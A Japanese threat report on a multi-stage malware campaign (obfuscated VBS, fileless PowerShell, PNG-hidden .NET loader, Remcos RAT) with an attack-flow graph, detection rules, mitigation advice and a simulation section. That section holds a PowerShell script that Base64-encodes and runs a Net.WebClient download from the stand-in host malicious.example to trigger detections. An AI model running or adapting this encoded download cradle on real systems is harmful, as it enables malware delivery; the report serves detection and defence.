多重ベクターマルウェアキャンペーンの追跡: VBSからオープンインフラへ
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
このレポートは、Unicodeで難読化されたVBSローダーから始まり、ファイルレスPowerShellローダーに移行し、PNGファイルを使用して後でメモリ内で実行される.NETアセンブリを隠す、モジュラーで多段階のマルウェアキャンペーンを取り上げています。そこから、このキャンペーンは、Remcos RAT、UACバイパスDLL、およびPythonベースのツールを含む複数のペイロードを配信できます。脅威アクターは、1つの.xyzドメインおよびいくつかのCloudflareバックのサブドメインのもとに、オープンにアクセス可能なディレクトリ内にツールキット全体をホストし、迅速なペイロード交換や兵器化されたPDF、悪意のあるバッチスクリプトなどの複数の配信経路を可能にしています。
調査
LevelBlueのMDR SOCは、SentinelOneを介して初期のVBSアーティファクトを検出し、隔離し、スクリプトをデコードして分析しました。調査により、PNGファイルをダウンロードするBase64でエンコードされたPowerShellコマンドが見つかり、これらのファイルに埋め込まれた.NETアセンブリが見つかり、それらはリフレクションを介して直接メモリにロードされました。より広範なインフラストラクチャのレビューでは、追加のVBSローダーだけでなく、同じキャンペーンに関連付けられた悪意のあるバッチファイル、ZIPアーカイブ、Pythonペイロードを提供するオープンディレクトリが明らかになりました。
緩和策
推奨される防御策には、ユーザー書き込み可能なパスから.vbsや.batなどの高リスクスクリプトタイプの実行を制限し、PowerShellの使用に厳密な制御を適用し、メモリ内の.NETロードの疑わしい活動を監視することが含まれます。防御者はまた、.xyzドメインをブロックし、インターネットショートカットファイルを介して悪用されるWebDAVトラフィックを詳しく調査または制限すべきです。ネットワーク層では、既知の悪意のあるインフラストラクチャへのアクセスをフィルタリングすることで、キャンペーンをより早期に妨害するのに役立ちます。
対応
この活動を検出した場合、影響を受けたエンドポイントを隔離し、関連するすべてのドメインとURLをブロックし、関連するVBSおよびPowerShellアーティファクトを探してください。調査者はメモリ内のリフレクションされた.NETアセンブリを検索し、公開されているディレクトリから作成されたスケジュールされたタスクやファイルを確認する必要があります。検出コンテンツは、PNGベースのペイロードステージングやキャンペーンと関連付けられたバッチまたはPythonコンポーネントを識別するために更新する必要があります。
"graph TB %% クラス定義 classDef action fill:#c2e0ff classDef technique fill:#ffdd99 classDef malware fill:#ff9999 classDef infrastructure fill:#d9ffcc %% ノード node_vbs_file["<b>マルウェア</b> – <b>名前</b>: 悪意のあるVBS<br/><b>場所</b>: UsersPublicDownloadsName_File.vbs"] class node_vbs_file malware node_t1059_005["<b>テクニック</b> – T1059.005 コマンドおよびスクリプトインタープリタ: Visual Basic<br/><b>説明</b>: コマンドを実行するVBSスクリプトを実行"] class node_t1059_005 technique node_t1027["<b>テクニック</b> – T1027 難読化ファイルまたは情報<br/><b>説明</b>: UnicodeとBase64難読化を使用"] class node_t1027 technique node_vbs_decode["<b>アクション</b> – Base64 PowerShellコマンドをデコード"] class node_vbs_decode action node_t1059_001["<b>テクニック</b> – T1059.001 PowerShell<br/><b>説明</b>: PowerShellコマンドを実行"] class node_t1059_001 technique node_tls12["<b>アクション</b> – ネットワーク接続のためにTLS1.2を強制"] class node_tls12 action node_download_png["<b>アクション</b> – HTTP URLからPNGペイロードをダウンロード"] class node_download_png action node_t1071_001["<b>テクニック</b> – T1071.001 アプリケーション層プロトコル: Webプロトコル<br/><b>説明</b>: 転送にHTTP/HTTPSを使用"] class node_t1071_001 technique node_t1659["<b>テクニック</b> – T1659 コンテンツ注入<br/><b>説明</b>: 正規ファイルに悪意のあるコンテンツを注入"] class node_t1659 technique node_png_extraction["<b>アクション</b> – Base64 .NETアセンブリをPNGから抽出"] class node_png_extraction action node_t1620["<b>テクニック</b> – T1620 リフレクティブコードローディング<br/><b>説明</b>: メモリに直接.NETアセンブリをロード"] class node_t1620 technique node_loader["<b>マルウェア</b> – PhantomVAI .NETローダー"] class node_loader malware node_fetch_payloads["<b>アクション</b> – 追加のペイロードURLをフェッチ"] class node_fetch_payloads action node_remcos_rat["<b>マルウェア</b> – Remcosリモートアクセス型トロイの木馬"] class node_remcos_rat malware node_uac_bypass["<b>テクニック</b> – T1548.002 ユーザーアカウント制御をバイパス<br/><b>説明</b>: エレベーション制御メカニズムをバイパス"] class node_uac_bypass technique node_scheduled_task["<b>テクニック</b> – T1053 スケジュールされたタスク/ジョブ<br/><b>説明</b>: 永続性のためにスケジュールされたタスクを作成"] class node_scheduled_task technique node_secondary_stage["<b>アクション</b> – バッチとPythonスクリプトを展開"] class node_secondary_stage action node_process_injection["<b>テクニック</b> – T1055 プロセス注入<br/><b>説明</b>: 実行中のプロセスにペイロードを注入"] class node_process_injection technique node_download_further["<b>アクション</b> – Cloudflareのディレクトリから追加のファイルをダウンロード"] class node_download_further action node_c2_communication["<b>テクニック</b> – T1102.002 Webサービス: 双方向通信<br/><b>説明</b>: Webサービスを使用したHTTPS C2トラフィック"] class node_c2_communication technique node_open_directory["<b>インフラストラクチャ</b> – 開放ディレクトリホスティング(news4me.xyz, Cloudflare)"] class node_open_directory infrastructure %% 接続 node_vbs_file –>|使用| node_t1059_005 node_vbs_file –>|使用| node_t1027 node_vbs_file –>|実行| node_vbs_decode node_vbs_decode –>|実行| node_t1059_001 node_vbs_decode –>|強制| node_tls12 node_vbs_decode –>|ダウンロード| node_download_png node_download_png –>|使用| node_t1071_001 node_download_png –>|使用する可能性がある| node_t1659 node_download_png –>|含む| node_png_extraction node_png_extraction –>|経由でロード| node_t1620 node_t1620 –>|ロード| node_loader node_loader –>|フェッチ| node_fetch_payloads node_fetch_payloads –>|配信| node_remcos_rat node_fetch_payloads –>|配信| node_uac_bypass node_loader –>|作成| node_scheduled_task node_loader –>|生成| node_secondary_stage node_secondary_stage –>|実行| node_process_injection node_secondary_stage –>|ダウンロード| node_download_further node_download_further –>|通信| node_c2_communication node_c2_communication –>|ホスト| node_open_directory "
攻撃フロー
検知
疑わしいTrycloudflareドメイン通信(dns経由)
表示
インターネットアーカイブが未熟なプロセスによって解決された可能性(dns_query経由)
表示
疑わしいPowershell文字列(powershell経由)
表示
LOLBAS WScript / CScript (process_creation経由)
表示
珍しいトップレベルドメイン(TLD)DNSリクエストによる疑わしいコマンド&コントロール (dns経由)
表示
Powershellからの疑わしい.NETメソッド呼び出し(powershell経由)
表示
検出すべきIOCs(HashSha1): VBSから開放インフラストラクチャへの多層マルウェアキャンペーン追跡: パート1
表示
検出すべきIOCs(HashSha1): VBSから開放インフラストラクチャへの多層マルウェアキャンペーン追跡: パート2
表示
Base64エンコードされたPowerShellコマンドの検出 Net.WebClient使用 [Windows Powershell]
表示
PNGおよびTXT URLにアクセスしたPowerShellローダー [Windowsネットワーク接続]
表示
VBS経由でリフレクティブに読み込まれた.NET実行メソッド(VAIローダー)の検出 [Windowsプロセス作成]
表示
シミュレーション実行
前提条件: テレメトリー&ベースライン事前フライトチェックが合格していること。
根拠: このセクションは、検出ルールをトリガーするために設計された対抗技術(TTP)の正確な実行を詳細に説明します。コマンドと説明は、特定されたTTPに直接反映され、検出ロジックによって期待される正確なテレメトリーを生成することを目的としています。
-
攻撃の物語とコマンド:
攻撃者は、リモートのHTTPサーバーから悪意のあるペイロードをダウンロードして実行するPowerShellのワンライナーを取得しました。単純なスクリプトファイルの検出を回避するために、コマンドはBase64でエンコードされ、
powershell.exe -EncodedCommandを通じて実行されます。したがって、コマンドラインには、ルールが監視する3つの文字列が含まれています。 powershell, Base64、そして Net.WebClient.-
攻撃者がPowerShellスクリプトを作成します:
$wc = New-Object System.Net.WebClient; $wc.DownloadString('http://malicious.example/payload'); -
スクリプトはUTF‑16LEでエンコードされ、Base64でエンコードされます。
-
攻撃者はWindowsのコマンドプロンプト(またはスケジュールされたタスク)からエンコードされたコマンドを実行します。
-
-
回帰テストスクリプト:
# -------------------------------------------------------------- # Base64でエンコードされたNet.WebClientダウンロードをシミュレートするPowerShellスクリプト # -------------------------------------------------------------- # 1. 悪意のあるPowerShellワンライナーを定義 $malicious = '$wc = New-Object System.Net.WebClient; $wc.DownloadString(''http://malicious.example/payload'');' # 2. コマンドをUTF‑16LEでエンコードし、その後Base64エンコード $bytes = [System.Text.Encoding]::Unicode.GetBytes($malicious) $b64 = [Convert]::ToBase64String($bytes) # 3. エンコードされたコマンドを実行 – この行はSigmaルールが探しているテレメトリーを生成します(powershell + Base64 + Net.WebClient) powershell.exe -EncodedCommand $b64 -
クリーンアップコマンド:
# -------------------------------------------------------------- # クリーンアップ – テストによって開始された不注意なPowerShellプロセスを終了 # -------------------------------------------------------------- Get-Process -Name powershell -ErrorAction SilentlyContinue | Where-Object { $_.StartInfo.Arguments -match 'malicious.example' } | Stop-Process -Force # 一時ファイルを削除(このテストでは作成されません)
レポート終了